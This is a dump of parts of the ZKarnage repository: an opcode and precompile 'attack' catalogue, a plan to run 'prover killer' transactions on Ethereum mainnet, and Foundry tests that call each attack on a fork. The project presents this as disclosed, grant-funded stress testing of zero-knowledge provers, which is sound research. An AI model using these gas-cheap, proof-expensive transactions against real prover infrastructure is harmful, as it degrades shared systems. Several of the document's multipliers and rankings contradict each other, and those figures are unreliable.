27 | - **Implementation**: Uses the MODEXP precompile (0x5) with worst-case parameters to maximize computational complexity. 28 | 29 | ## BN_PAIRING Attack 30 | - **Gas Cost**: 45,000 gas 31 | - **ZK Circuit Complexity**: 37.91x multiplier (from [EIP-7883](https://eips.ethereum.org/EIPS/eip-7883)) 32 | - **Estimated Cycles per Iteration**: 19,300,000 33 | - **Implementation**: Uses the BN_PAIRING precompile (0x8) with complex pairing operations. 34 | 35 | ## BN_MUL Attack 36 | - **Gas Cost**: 6,000 gas 37 | - **ZK Circuit Complexity**: 40x multiplier 38 | - **Estimated Cycles per Iteration**: 20,220,000 39 | - **Implementation**: Uses the BN_MUL precompile (0x7) with large numbers to maximize computational complexity. 40 | 41 | ## ECRECOVER Attack 42 | - **Gas Cost**: 3,000 gas 43 | - **ZK Circuit Complexity**: 100x multiplier 44 | - **Estimated Cycles per Iteration**: 687,400 45 | - **Implementation**: Uses the ECRECOVER precompile (0x1) with valid signatures to stress cryptographic verification. 46 | 47 | ## EXTCODESIZE Attack 48 | - **Gas Cost**: 700 gas 49 | - **ZK Circuit Complexity**: 10x multiplier 50 | - **Estimated Cycles per Iteration**: 88,240 51 | - **Implementation**: Queries code size of large contracts to stress storage access verification. 52 | 53 | ## Summary of Attack Effectiveness 54 | 55 | | Attack | Gas per Iteration | Estimated Cycles per Iteration | Cycle/Gas Ratio | 56 | |--------|------------------|--------------------------------|-----------------| 57 | | JUMPDEST | 112 | 116,220 | 1,037.68x | 58 | | Memory Ops | 152 | 608 | 4x | 59 | | CALLDATACOPY | 3,475 | 13,900 | 4x | 60 | | MODEXP | 7,785 | 8,384,000 | 1,076.95x | 61 | | BN_PAIRING | 509,126 | 19,300,000 | 37.91x | 62 | | BN_MUL | 505,515 | 20,220,000 | 40x | 63 | | ECRECOVER | 6,874 | 687,400 | 100x | 64 | | EXTCODESIZE | 8,824 | 88,240 | 10x | 65 | 66 | The most effective attacks in terms of cycle/gas ratio are: 67 | 1. JUMPDEST (1,037.68x) 68 | 2. MODEXP (1,076.95x) 69 | 3. BN_PAIRING (37.91x) 70 | 4. BN_MUL (40x) 71 | 5. ECRECOVER (100x) 72 | 6. CALLDATACOPY (4x) 73 | 7. Memory Ops (4x) 74 | 8. EXTCODESIZE (10x) 75 | 76 | This analysis shows that JUMPDEST and MODEXP operations are particularly effective at creating ZK circuit complexity disproportionate to their gas costs, making them prime targets for stress testing ZK systems. 77 | 78 | ## 1. Expensive EVM Operations 79 | 80 | The following operations are particularly expensive in ZK circuits relative to their gas costs: 81 | 82 | | Opcode | Gas Cost | Average Cycle | Std Cycle | Cycle/Gas | 83 | |--------|----------|---------------|------------|-----------| 84 | | JUMPDEST | 1 | 1,038 | 4 | 1,037.68 | 85 | | MCOPY | 2 | 1,333 | 347 | 666.39 | 86 | | CALLDATACOPY | 3 | 1,742 | 317 | 580.81 | 87 | | CALLER | 2 | 1,132 | 1 | 566.10 | 88 | | ADDRESS | 2 | 1,131 | 114 | 565.46 | 89 | | RETURNDATASIZE | 2 | 1,110 | 112 | 554.92 | 90 | | ORIGIN | 2 | 1,109 | 159 | 554.56 | 91 | | CODESIZE | 2 | 1,093 | 157 | 546.65 | 92 | 93 | ### Opcode Attack Implementations 94 | 95 | 1. **JUMPDEST Attack** (`executeJumpdestAttack`): 96 | - Creates multiple jump destinations through switch statements 97 | - Highest cycles/gas ratio at 1037.68 98 | - Takes minimal gas but forces heavy ZK circuit computation 99 | - Each iteration generates multiple jump destinations in the bytecode 100 | 101 | 2. **MCOPY Attack** (`executeMcopyAttack`): 102 | - Performs repeated memory copies of configurable size 103 | - Second highest cycles/gas ratio at 666.39 104 | - Allows tuning of memory size and iteration count 105 | - Forces ZK circuit to track memory operations 106 | 107 | 3. **CALLDATACOPY Attack** (`executeCalldatacopyAttack`): 108 | - Forces repeated calldata copies into memory 109 | - Third highest cycles/gas ratio at 580.81 110 | - Configurable copy size and iteration count 111 | - Stresses ZK circuit memory management 112 | 113 | ## 2. Expensive Precompiles 114 | 115 | Precompiled contracts show significant discrepancy between gas costs and ZK circuit complexity: 116 | 117 | | Precompile | Gas Cost | Average Cycle | Std Cycle | Cycle/Gas | 118 | |------------|----------|---------------|------------|-----------| 119 | | MODEXP | 200 | 215,389 | 367,401 | 1,076.95 | 120 | | IDENTITY | 15 | 1,271 | 619 | 84.74 | 121 | | BN_PAIR | 45,000 | 1,705,904 | 3,280,325 | 37.91 | 122 | | SHA256 | 60 | 1,756 | 7,340 | 29.26 | 123 | | BN_MUL | 6,000 | 104,860 | 205,406 | 17.48 | 124 | | ECRECOVER | 3,000 | 47,214 | 8,394 | 15.74 | 125 | | BN_ADD | 150 | 1,937 | 3,668 | 12.91 | 126 | 127 | ### Precompile Attack Implementations 128 | 129 | 1. **MODEXP Attack** (`executeModExpAttack`): 130 | - Targets modular exponentiation precompile 131 | - Highest cycles/gas ratio at 1076.95 132 | - Implements worst-case scenarios from [EIP-7883](https://eips.ethereum.org/EIPS/eip-7883): 133 | - Uses 64-byte exponents to trigger higher costs 134 | - Maximizes base and modulus complexity 135 | - All inputs filled with non-zero values 136 | - Exploits underpriced cases that led to EIP-7883's proposed gas cost increase 137 | 138 | 2. **BN_PAIRING Attack** (`executeBnPairingAttack`): 139 | - Targets elliptic curve pairing checks 140 | - 37.91 cycles/gas ratio 141 | - Uses maximum-size pairing inputs (192 bytes) 142 | - Forces complex elliptic curve computations 143 | 144 | 3. **BN_MUL Attack** (`executeBnMulAttack`): 145 | - Targets elliptic curve multiplication 146 | - 17.48 cycles/gas ratio 147 | - Uses worst-case curve points 148 | - Forces complex scalar multiplication 149 | 150 | 4. **ECRECOVER Attack** (`executeEcrecoverAttack`): 151 | - Targets signature recovery operations 152 | - 15.74 cycles/gas ratio 153 | - Uses maximum-complexity signatures 154 | - Forces elliptic curve operations 155 | 156 | ## Usage Examples 157 | 158 | ```solidity 159 | // Execute JUMPDEST attack with 1000 iterations 160 | zkarnage.executeJumpdestAttack(1000); 161 | 162 | // Execute MCOPY attack with 1MB size and 100 iterations 163 | zkarnage.executeMcopyAttack(1024 * 1024, 100); 164 | 165 | // Execute MODEXP attack with 10 iterations 166 | zkarnage.executeModExpAttack(10); 167 | 168 | // Execute BN_PAIRING attack with 5 iterations 169 | zkarnage.executeBnPairingAttack(5); 170 | ``` 171 | 172 | ## Event Monitoring 173 | 174 | The contract emits detailed events for analysis: 175 | - `OpcodeResult(string name, uint256 gasUsed)` for opcode attacks 176 | - `PrecompileResult(string name, uint256 gasUsed)` for precompile attacks -------------------------------------------------------------------------------- /MAINNET_EXECUTION_PLAN.md: -------------------------------------------------------------------------------- 1 | # ZKarnage Mainnet Execution Plan 2 | 3 | ## Executive Summary 4 | 5 | This document outlines the execution plan for deploying ZKarnage attacks on Ethereum mainnet to stress test zero-knowledge proof systems. With a generous grant from the Ethereum Foundation, we will execute prover killer transactions every 1,000 blocks, targeting at least 100 submissions while documenting impacts on ZK provers. 6 | 7 | ## Project Overview 8 | 9 | ### Objectives 10 | - Execute ZKarnage attacks on mainnet to stress test ZK proving systems 11 | - Document real-world impacts on prover performance and costs 12 | - Provide valuable data to the ZK ecosystem for optimization 13 | - Create public record of attack effectiveness and prover resilience 14 | 15 | ### Key Metrics 16 | - **Budget**: Generous grant from the Ethereum Foundation 17 | - **Frequency**: Every 1,000 blocks (~3.5 hours) 18 | - **Target**: 100+ successful submissions 19 | - **Duration**: ~17.5 days of continuous execution 20 | 21 | ## Execution Strategy 22 | 23 | ### Attack Timing 24 | - **Block Selection**: Every block where `block.number % 1000 == 0` 25 | - **Rationale**: Provides consistent, predictable attack windows while conserving budget 26 | - **Coverage**: ~6-7 attacks per day 27 | 28 | ### Gas Management 29 | - **Estimated gas per attack**: 8-10M gas 30 | - **Gas price strategy**: Base fee + 10% priority fee 31 | 32 | ### Attack Rotation 33 | To maximize impact and gather diverse data, we'll rotate through attack vectors: 34 | 35 | 1. **Week 1**: Focus on high-multiplier attacks (JUMPDEST, MODEXP) 36 | 2. **Week 2**: Precompile-heavy attacks (BN_PAIRING, BN_MUL) 37 | 3. **Week 3**: Memory-intensive attacks (MCOPY, CALLDATACOPY) 38 | 39 | ### Script Modifications 40 | Minimal changes to existing scripts: 41 | ```python 42 | # Modify run_attack.py 43 | TARGET_BLOCK_INTERVAL = 1000 # Changed from 100 44 | MAX_RETRIES = 3 # Add retry logic for failed submissions 45 | GAS_BUFFER = 1.1 # 10% gas buffer 46 | ``` 47 | 48 | ## Data Collection and Analysis Strategy 49 | 50 | To maintain focus and simplicity, we will adopt a streamlined data collection and analysis workflow. 51 | ### Data Flow 52 | 53 | Our process will consist of three main steps: 54 | 55 | 1. **Log On-Chain Data**: The `run_attack.py` script executes an attack and, upon confirmation, appends a JSON record of the transaction's details (hash, gas, cost, etc.) to a local `attack_log.json` file. 56 | 2. **Combine with Prover Data**: Periodically, we will manually or semi-automatically download prover performance data from the EthProofs platform for the blocks we've targeted. A simple utility script will then merge our `attack_log.json` with the EthProofs data to create a final `public_data.json`. 57 | 3. **Client-Side Analysis**: The `public_data.json` file will be the sole data source for our public-facing dashboard. All visualizations, calculations (like ROI, prover impact), and filtering will be handled directly in the browser using JavaScript. 58 | 59 | ### Data Schemas 60 | 61 | #### 1. `attack_log.json` (from `run_attack.py`) 62 | This file will be an array of JSON objects with the following structure: 63 | ```json 64 | { 65 | "tx_hash": "0x...", 66 | "block_number": 19000000, 67 | "timestamp": 1234567890, 68 | "attack_config": { 69 | "type": "JUMPDEST", 70 | "iterations": 10000 71 | }, 72 | "gas_metrics": { 73 | "gas_used": 28500000, 74 | "gas_price_gwei": 25.5 75 | } 76 | } 77 | ``` 78 | 79 | #### 2. `public_data.json` (Combined Data) 80 | This is the final file that will be committed to the repository and consumed by the frontend. 81 | ```json 82 | { 83 | "tx_hash": "0x...", 84 | "block_number": 19000000, 85 | // ... other fields from attack_log.json ... 86 | "prover_performance": { 87 | "baseline": { 88 | "avg_proof_time_s": 220, 89 | "avg_cost_usd": 0.89 90 | }, 91 | "results": { 92 | "succinct_sp1": { 93 | "proof_time_s": 1205, 94 | "cost_usd": 5.87, 95 | "cycles": 45622000, // zkVM-specific 96 | "status": "completed" 97 | }, 98 | "risc0_zkvm": { 99 | "proof_time_s": 847, 100 | "cost_usd": 3.42, 101 | "cycles": 38455000, // zkVM-specific 102 | "status": "completed" 103 | } 104 | } 105 | } 106 | } 107 | ``` 108 | 109 | This simplified approach ensures that our efforts are focused on executing attacks and presenting the findings, rather than on building and maintaining a complex data infrastructure. 110 | 111 | ## Reporting Framework 112 | 113 | ### Deliverables Structure 114 | 115 | #### 1. Live Dashboard (GitHub Pages) 116 | ``` 117 | prooflab.dev/ 118 | ├── index.html 119 | ├── data/ 120 | │ └── public_data.json 121 | └── js/ 122 | ├── main.js 123 | └── charts.js 124 | ``` 125 | 126 | #### 2. Weekly Reports 127 | 128 | **Format**: Markdown, published as blog posts on the project website. 129 | 130 | **Structure**: 131 | 132 | ```markdown 133 | # ZKarnage Weekly Report - Week X 134 | 135 | ## Executive Summary 136 | - Attacks executed: X 137 | - Total ETH spent: X 138 | - Average prover impact: X% 139 | - Most effective attack: TYPE 140 | 141 | ## Key Metrics 142 | [Interactive charts embedded from the live dashboard] 143 | 144 | ## Notable Findings 145 | 1. Finding with data 146 | 2. Finding with data 147 | 3. Finding with data 148 | 149 | ## Prover Performance Analysis 150 | ### Succinct SP1 (zkVM) 151 | - Average proof time increase: X% 152 | - Cycle count: X (zkVM-specific metric) 153 | - Cost impact: $X 154 | - Adaptation observed: Yes/No 155 | 156 | ### RISC Zero (zkVM) 157 | - Average proof time increase: X% 158 | - Cycle count: X (zkVM-specific metric) 159 | - Cost impact: $X 160 | - Adaptation observed: Yes/No 161 | 162 | ### Other Provers 163 | [Similar structure for each] 164 | 165 | ## Next Week Preview 166 | - Planned attack types 167 | - Expected outcomes 168 | - Budget remaining 169 | ``` 170 | 171 | #### 3. Final Comprehensive Report 172 | 173 | **Format**: PDF 174 | 175 | **Structure**: 176 | 177 | ``` 178 | 1. Executive Summary (1 page) 179 | - Key findings & impact summary 180 | - Main recommendations 181 | 182 | 2. Methodology (2 pages) 183 | - Attack implementation details 184 | - Simplified data collection process 185 | - Analysis framework (client-side) 186 | - Limitations and assumptions 187 | 188 | 3. Results Analysis (8 pages) 189 | - Per-Attack Analysis (JUMPDEST, MODEXP, etc.) 190 | - Comparative effectiveness 191 | - Prover Impact Study 192 | - Resilience rankings 193 | 194 | 4. Economic Analysis (5 pages) 195 | - Total costs vs. impacts 196 | - ROI calculations 197 | - Gas market effects 198 | 199 | 5. Recommendations & Future Work (3 pages) 200 | - For prover developers 201 | - For protocol designers 202 | - For researchers 203 | 204 | 6. Appendices (1 page) 205 | - Link to raw data 206 | - Reproduction instructions 207 | ``` 208 | 209 | ## Data Collection Implementation 210 | 211 | ### Required APIs and Data Sources 212 | 213 | #### 1. Blockchain Data 214 | - **Ethereum RPC**: Transaction receipts, block data, gas prices 215 | 216 | #### 2. Prover Performance Data 217 | - **EthProofs Platform**: Aggregated proof data from all prover implementations 218 | - **Succinct SP1 (zkVM)**: Proof times and cycle counts via EthProofs 219 | - **RISC Zero (zkVM)**: Proof times and cycle counts via EthProofs 220 | - **Other provers**: Any additional implementations submitting to EthProofs 221 | 222 | #### 3. Market Data 223 | - **CoinGecko API**: Real-time ETH price 224 | - **DeFiLlama**: L2 activity metrics 225 | - **Dune Analytics**: Custom queries for analysis 226 | 227 | ### Data Collection Workflow 228 | 229 | Our data collection process is a straightforward, three-step workflow designed for simplicity and efficiency: 230 | 231 | 1. **Execute and Log Attack**: 232 | - The `run_attack.py` script initiates the on-chain attack. 233 | - Upon confirmation, it records the transaction details (hash, gas, cost) into a local `attack_log.json` file. 234 | 235 | 2. **Enrich with Prover Data**: 236 | - At a later time, we will fetch performance data from EthProofs for the corresponding blocks. 237 | - This data, including proof times, costs, and zkVM cycle counts, is merged with our `attack_log.json` to create the final `public_data.json`. 238 | 239 | 3. **Analyze and Visualize**: 240 | - The `public_data.json` serves as the single source of truth for all analysis. 241 | - The public dashboard will consume this file, performing all calculations and visualizations on the client-side. 242 | 243 | ## Final Deliverables 244 | 245 | ### 1. Raw Data Archive 246 | - **Format**: JSON files organized by date 247 | - **Storage**: GitHub repository 248 | - **Access**: Public, MIT licensed 249 | - **Size**: ~100MB estimated 250 | 251 | ### 2. Interactive Dashboard 252 | - **URL**: prooflab.dev 253 | - **Updates**: Real-time during execution 254 | - **Features**: 255 | - Live attack feed 256 | - Cumulative statistics 257 | - Prover leaderboard 258 | - Cost tracker 259 | 260 | ### 3. Technical Report (~20 pages) 261 | 262 | ### 4. Public Presentations 263 | - Twitter thread with key findings 264 | - Blog post on Mirror/Medium 265 | - Presentation at ETHDenver (if applicable) 266 | - Research paper submission 267 | 268 | ### 5. Open Source Contributions 269 | - Data collection scripts 270 | - Analysis notebooks 271 | - Visualization tools 272 | - Attack monitoring dashboard 273 | 274 | ## Success Metrics 275 | 276 | ### Quantitative Goals 277 | - ✓ 100+ successful attack executions 278 | - ✓ 5+ prover systems analyzed via EthProofs 279 | 280 | ### Qualitative Goals 281 | - ✓ Actionable insights for ZK optimization 282 | - ✓ Positive engagement from prover teams 283 | - ✓ Data contributed to EthProofs platform 284 | - ✓ Reproducible research methodology 285 | - ✓ Long-term monitoring framework established 286 | 287 | ## Project Timeline Summary 288 | 289 | **Week -1**: Preparation and Testing 290 | **Week 0**: Deploy and Initial Tests 291 | **Week 1-2**: Main Execution Phase 292 | **Week 3**: Final Attacks and Analysis 293 | **Week 4-8**: Report Writing and Publication 294 | 295 | Total Duration: 8 weeks from start to final deliverable 296 | 297 | ## Timeline & Milestones 298 | 299 | ### Week -1 (Preparation) 300 | - [ ] Deploy ZKarnage contract to mainnet 301 | - [ ] Test attack execution with small gas amounts 302 | - [ ] Set up GitHub Pages infrastructure 303 | - [ ] Prepare data collection scripts 304 | - [ ] Establish prover API access 305 | 306 | ### Week 0 (Launch Week) 307 | - [ ] Execute first test attack 308 | - [ ] Verify data collection pipeline 309 | - [ ] Announce project publicly 310 | - [ ] Begin baseline data collection 311 | 312 | ### Week 1-2 (Main Execution) 313 | - [ ] Execute 70+ attacks 314 | - [ ] Daily data updates 315 | - [ ] Weekly progress report 316 | - [ ] Community engagement 317 | 318 | ### Week 3 (Final Push) 319 | - [ ] Complete remaining attacks 320 | - [ ] Begin data analysis 321 | - [ ] Prepare visualizations 322 | - [ ] Draft report sections 323 | 324 | ### Week 4-8 (Analysis & Reporting) 325 | - [ ] Complete final report 326 | - [ ] Publish all data 327 | - [ ] Present findings 328 | - [ ] Archive project 329 | 330 | ## Next Steps 331 | 332 | 1. **Immediate Actions** (This Week): 333 | - [ ] Finalize and review this plan 334 | - [ ] Set up GitHub Pages repository 335 | - [ ] Deploy ZKarnage contract 336 | - [ ] Test data collection pipeline 337 | 338 | 2. **Pre-Launch** (Next Week): 339 | - [ ] Notify prover teams (Succinct, RISC Zero, etc.) 340 | - [ ] Coordinate with EthProofs platform 341 | - [ ] Announce project timeline 342 | - [ ] Complete testing 343 | - [ ] Prepare first week's attacks 344 | 345 | 3. **Launch Criteria**: 346 | - [ ] Contract deployed and verified 347 | - [ ] Data pipeline tested 348 | - [ ] Communication plan ready 349 | - [ ] Team availability confirmed 350 | 351 | --- 352 | 353 | **Project Lead**: Conner Swann 354 | **Repository**: github.com/yourbuddyconner/zkarnage 355 | **Live Dashboard**: prooflab.dev 356 | **Contact**: @yourbuddyconner @TheProofLab 357 | 358 | *This plan is a living document and will be updated as the project progresses.* -------------------------------------------------------------------------------- /test/ZKarnage.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import {Test} from "../lib/forge-std/src/Test.sol"; 5 | import {console} from "../lib/forge-std/src/console.sol"; 6 | import "../src/ZKarnage.sol"; 7 | 8 | contract ZKarnageTest is Test { 9 | ZKarnage public zkarnage; 10 | uint256 public forkId; 11 | 12 | // --- Local Event Definitions (to satisfy vm.expectEmit syntax) --- 13 | // These must match the signatures in ZKarnage.sol exactly. 14 | event OpcodeResult(string name, uint256 gasUsed); 15 | event PrecompileResult(string name, uint256 gasUsed); 16 | event AttackSummary(uint256 numContracts, uint256 totalSize); 17 | // ContractAccessed event is not explicitly checked here, but could be added if needed. 18 | // event ContractAccessed(address indexed target, uint256 size); 19 | 20 | // Test addresses (known large contracts on mainnet) 21 | address[] testAddresses; 22 | 23 | // Gas limits for different attacks (Adjust as needed based on runs) 24 | uint256 constant JUMPDEST_GAS_LIMIT = 200_000; 25 | uint256 constant MCOPY_GAS_LIMIT = 300_000; 26 | uint256 constant CALLDATACOPY_GAS_LIMIT = 1_000_000; 27 | uint256 constant MODEXP_GAS_LIMIT = 500_000; 28 | uint256 constant BN_PAIRING_GAS_LIMIT = 5_000_000; 29 | uint256 constant BN_MUL_GAS_LIMIT = 5_500_000; 30 | uint256 constant ECRECOVER_GAS_LIMIT = 500_000; 31 | uint256 constant EXTCODESIZE_GAS_LIMIT = 100_000; 32 | uint256 constant KECCAK_GAS_LIMIT = 2_000_000; 33 | uint256 constant SHA256_GAS_LIMIT = 2_000_000; 34 | 35 | function setUp() public { 36 | // Deploy the attack contract 37 | zkarnage = new ZKarnage(); 38 | 39 | // Set up test addresses (using a few known contracts) 40 | testAddresses = new address[](5); 41 | testAddresses[0] = 0xB95c8fB8a94E175F957B5044525F9129fbA0fE0C; 42 | testAddresses[1] = 0x1908D2bD020Ba25012eb41CF2e0eAd7abA1c48BC; 43 | testAddresses[2] = 0xa102b6Eb23670B07110C8d316f4024a2370Be5dF; 44 | testAddresses[3] = 0x84ab2d6789aE78854FbdbE60A9873605f4Fd038c; 45 | testAddresses[4] = 0x1908D2bD020Ba25012eb41CF2e0eAd7abA1c48BC; 46 | 47 | // Get RPC URL - Use string explicitly for envOr 48 | string memory key = "ETH_RPC_URL"; 49 | string memory defaultValue = ""; 50 | string memory rpcUrl = vm.envOr(key, defaultValue); 51 | require(bytes(rpcUrl).length > 0, "ETH_RPC_URL env var not set"); 52 | console.log("Using RPC URL from ETH_RPC_URL"); // Avoid logging the URL itself 53 | 54 | // Create fork with latest block 55 | forkId = vm.createFork(rpcUrl); 56 | vm.selectFork(forkId); 57 | console.log("Fork created with ID:", forkId, "at block:", block.number); 58 | 59 | // Optional: Verify contract code access after fork selection 60 | // It's good practice but can be verbose, uncomment if needed 61 | /* 62 | for (uint i = 0; i < testAddresses.length; i++) { 63 | bytes memory code = address(testAddresses[i]).code; 64 | require(code.length > 0, string.concat("Cannot access contract code for address ", vm.toString(testAddresses[i]))); 65 | } 66 | console.log("Verified contract code access on fork."); 67 | */ 68 | } 69 | 70 | function testJumpdestAttack() public { 71 | console.log("\n=== Testing JUMPDEST Attack ==="); 72 | uint256 iterations = 1000; 73 | 74 | uint256 gasStart = gasleft(); 75 | // Expect OpcodeResult event (only check emitter) 76 | vm.expectEmit(false, false, false, false, address(zkarnage)); 77 | // Provide the expected event signature template 78 | emit OpcodeResult("JUMPDEST", 0); 79 | zkarnage.executeJumpdestAttack(iterations); 80 | uint256 gasUsed = gasStart - gasleft(); 81 | 82 | console.log("Total Gas used for JUMPDEST attack tx:", gasUsed); 83 | if (iterations > 0) { 84 | console.log("Approx Gas per iteration (external):", gasUsed / iterations); 85 | } 86 | assertLt(gasUsed, JUMPDEST_GAS_LIMIT, "Gas usage too high for JUMPDEST attack"); 87 | } 88 | 89 | function testMcopyAttack() public { 90 | console.log("\n=== Testing Memory Operations (MCOPY) Attack ==="); 91 | uint256 size = 256; 92 | uint256 iterations = 1000; 93 | 94 | uint256 gasStart = gasleft(); 95 | // Expect OpcodeResult event (only check emitter) 96 | vm.expectEmit(false, false, false, false, address(zkarnage)); 97 | // Provide the expected event signature template 98 | emit OpcodeResult("MCOPY", 0); 99 | zkarnage.executeMcopyAttack(size, iterations); 100 | uint256 gasUsed = gasStart - gasleft(); 101 | 102 | console.log("Total Gas used for memory operations attack tx:", gasUsed); 103 | if (iterations > 0) { 104 | console.log("Approx Gas per iteration (external):", gasUsed / iterations); 105 | } 106 | assertLt(gasUsed, MCOPY_GAS_LIMIT, "Gas usage too high for memory operations attack"); 107 | } 108 | 109 | function testCalldatacopyAttack() public { 110 | console.log("\n=== Testing CALLDATACOPY Attack ==="); 111 | uint256 size = 32 * 1024; // 32KB 112 | uint256 iterations = 50; 113 | 114 | uint256 gasStart = gasleft(); 115 | // Expect OpcodeResult event (only check emitter) 116 | vm.expectEmit(false, false, false, false, address(zkarnage)); 117 | // Provide the expected event signature template 118 | emit OpcodeResult("CALLDATACOPY", 0); 119 | zkarnage.executeCalldatacopyAttack(size, iterations); 120 | uint256 gasUsed = gasStart - gasleft(); 121 | 122 | console.log("Total Gas used for CALLDATACOPY attack tx:", gasUsed); 123 | if (iterations > 0) { 124 | console.log("Approx Gas per iteration (external):", gasUsed / iterations); 125 | } 126 | console.log("Gas per KB (external):", (gasUsed * 1024) / size); 127 | assertLt(gasUsed, CALLDATACOPY_GAS_LIMIT, "Gas usage too high for CALLDATACOPY attack"); 128 | } 129 | 130 | function testModExpAttack() public { 131 | console.log("\n=== Testing MODEXP Attack ==="); 132 | uint256 iterations = 10; 133 | 134 | uint256 gasStart = gasleft(); 135 | // Expect PrecompileResult event (only check emitter) 136 | vm.expectEmit(false, false, false, false, address(zkarnage)); 137 | // Provide the expected event signature template 138 | emit PrecompileResult("MODEXP", 0); 139 | zkarnage.executeModExpAttack(iterations); 140 | uint256 gasUsed = gasStart - gasleft(); 141 | 142 | console.log("Total Gas used for MODEXP attack tx:", gasUsed); 143 | if (iterations > 0) { 144 | console.log("Approx Gas per iteration (external):", gasUsed / iterations); 145 | } 146 | assertLt(gasUsed, MODEXP_GAS_LIMIT, "Gas usage too high for MODEXP attack"); 147 | } 148 | 149 | function testBnPairingAttack() public { 150 | console.log("\n=== Testing BN_PAIRING Attack ==="); 151 | uint256 iterations = 5; 152 | 153 | uint256 gasStart = gasleft(); 154 | // Expect PrecompileResult event (only check emitter) 155 | vm.expectEmit(false, false, false, false, address(zkarnage)); 156 | // Provide the expected event signature template 157 | emit PrecompileResult("BN_PAIRING", 0); 158 | zkarnage.executeBnPairingAttack(iterations); 159 | uint256 gasUsed = gasStart - gasleft(); 160 | 161 | console.log("Total Gas used for BN_PAIRING attack tx:", gasUsed); 162 | if (iterations > 0) { 163 | console.log("Approx Gas per iteration (external):", gasUsed / iterations); 164 | } 165 | assertLt(gasUsed, BN_PAIRING_GAS_LIMIT, "Gas usage too high for BN_PAIRING attack"); 166 | } 167 | 168 | function testBnMulAttack() public { 169 | console.log("\n=== Testing BN_MUL Attack ==="); 170 | uint256 iterations = 8; 171 | 172 | uint256 gasStart = gasleft(); 173 | // Expect PrecompileResult event (only check emitter) 174 | vm.expectEmit(false, false, false, false, address(zkarnage)); 175 | // Provide the expected event signature template 176 | emit PrecompileResult("BN_MUL", 0); 177 | zkarnage.executeBnMulAttack(iterations); 178 | uint256 gasUsed = gasStart - gasleft(); 179 | 180 | console.log("Total Gas used for BN_MUL attack tx:", gasUsed); 181 | if (iterations > 0) { 182 | console.log("Approx Gas per iteration (external):", gasUsed / iterations); 183 | } 184 | assertLt(gasUsed, BN_MUL_GAS_LIMIT, "Gas usage too high for BN_MUL attack"); 185 | } 186 | 187 | function testEcrecoverAttack() public { 188 | console.log("\n=== Testing ECRECOVER Attack ==="); 189 | uint256 iterations = 50; // Increased iterations 190 | 191 | uint256 gasStart = gasleft(); 192 | // Expect PrecompileResult event (only check emitter) 193 | vm.expectEmit(false, false, false, false, address(zkarnage)); 194 | // Provide the expected event signature template 195 | emit PrecompileResult("ECRECOVER", 0); 196 | zkarnage.executeEcrecoverAttack(iterations); 197 | uint256 gasUsed = gasStart - gasleft(); 198 | 199 | console.log("Total Gas used for ECRECOVER attack tx:", gasUsed); 200 | if (iterations > 0) { 201 | console.log("Approx Gas per iteration (external):", gasUsed / iterations); 202 | } 203 | assertLt(gasUsed, ECRECOVER_GAS_LIMIT, "Gas usage too high for ECRECOVER attack"); 204 | } 205 | 206 | function testKeccakAttack() public { 207 | console.log("\n=== Testing KECCAK256 Attack ==="); 208 | uint256 iterations = 1000; 209 | uint256 dataSize = 1024; // 1 KB 210 | 211 | uint256 gasStart = gasleft(); 212 | // Expect OpcodeResult event (only check emitter) 213 | vm.expectEmit(false, false, false, false, address(zkarnage)); 214 | // Provide the expected event signature template 215 | emit OpcodeResult("KECCAK256", 0); 216 | zkarnage.executeKeccakAttack(iterations, dataSize); 217 | uint256 gasUsed = gasStart - gasleft(); 218 | 219 | // Broke down the log statement 220 | console.log("Total Gas used for KECCAK256 attack tx:"); 221 | console.log("- Iterations:", iterations); 222 | console.log("- Data Size:", dataSize); 223 | console.log("- Gas Used:", gasUsed); 224 | 225 | if (iterations > 0) { 226 | console.log("Approx Gas per iteration (external):", gasUsed / iterations); 227 | } 228 | assertLt(gasUsed, KECCAK_GAS_LIMIT, "Gas usage too high for KECCAK256 attack"); 229 | } 230 | 231 | function testSha256Attack() public { 232 | console.log("\n=== Testing SHA256 Attack ==="); 233 | uint256 iterations = 1000; 234 | uint256 dataSize = 1024; // 1 KB 235 | 236 | uint256 gasStart = gasleft(); 237 | // Expect PrecompileResult event (only check emitter) 238 | vm.expectEmit(false, false, false, false, address(zkarnage)); 239 | // Provide the expected event signature template 240 | emit PrecompileResult("SHA256", 0); 241 | zkarnage.executeSha256Attack(iterations, dataSize); 242 | uint256 gasUsed = gasStart - gasleft(); 243 | 244 | // Broke down the log statement 245 | console.log("Total Gas used for SHA256 attack tx:"); 246 | console.log("- Iterations:", iterations); 247 | console.log("- Data Size:", dataSize); 248 | console.log("- Gas Used:", gasUsed); 249 | 250 | if (iterations > 0) { 251 | console.log("Approx Gas per iteration (external):", gasUsed / iterations); 252 | } 253 | assertLt(gasUsed, SHA256_GAS_LIMIT, "Gas usage too high for SHA256 attack"); 254 | } 255 | 256 | function testExtcodesizeAttack() public { 257 | console.log("\n=== Testing EXTCODESIZE Attack ==="); 258 | 259 | uint256 gasStart = gasleft(); 260 | // Expect AttackSummary event (only check emitter) 261 | vm.expectEmit(false, false, false, false, address(zkarnage)); 262 | // Provide the expected event signature template 263 | emit AttackSummary(testAddresses.length, 0); 264 | zkarnage.executeAttack(testAddresses); 265 | uint256 gasUsed = gasStart - gasleft(); 266 | 267 | uint256 totalSize = 0; 268 | for (uint i = 0; i < testAddresses.length; i++) { 269 | uint256 size = testAddresses[i].code.length; 270 | totalSize += size; 271 | // console.log("Contract", i, "Size:", size); // Uncomment for debugging 272 | } 273 | 274 | console.log("Total Gas used for EXTCODESIZE attack tx:", gasUsed); 275 | console.log("Total bytecode size accessed:", totalSize, "bytes"); 276 | if (totalSize > 0) { 277 | console.log("Gas per KB (external):", (gasUsed * 1024) / totalSize); 278 | } 279 | assertLt(gasUsed, EXTCODESIZE_GAS_LIMIT, "Gas usage too high for EXTCODESIZE attack"); 280 | } 281 | 282 | function testAllAttacks() public { 283 | testJumpdestAttack(); 284 | testMcopyAttack(); 285 | testCalldatacopyAttack(); 286 | testModExpAttack(); 287 | testBnPairingAttack(); 288 | testBnMulAttack(); 289 | testEcrecoverAttack(); 290 | testKeccakAttack(); 291 | testSha256Attack(); 292 | testExtcodesizeAttack(); 293 | } 294 | } -------------------------------------------------------------------------------- /test/ZKarnageYul.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import {Test} from "../lib/forge-std/src/Test.sol"; 5 | import {console} from "../lib/forge-std/src/console.sol"; 6 | import {stdJson} from "../lib/forge-std/src/StdJson.sol"; 7 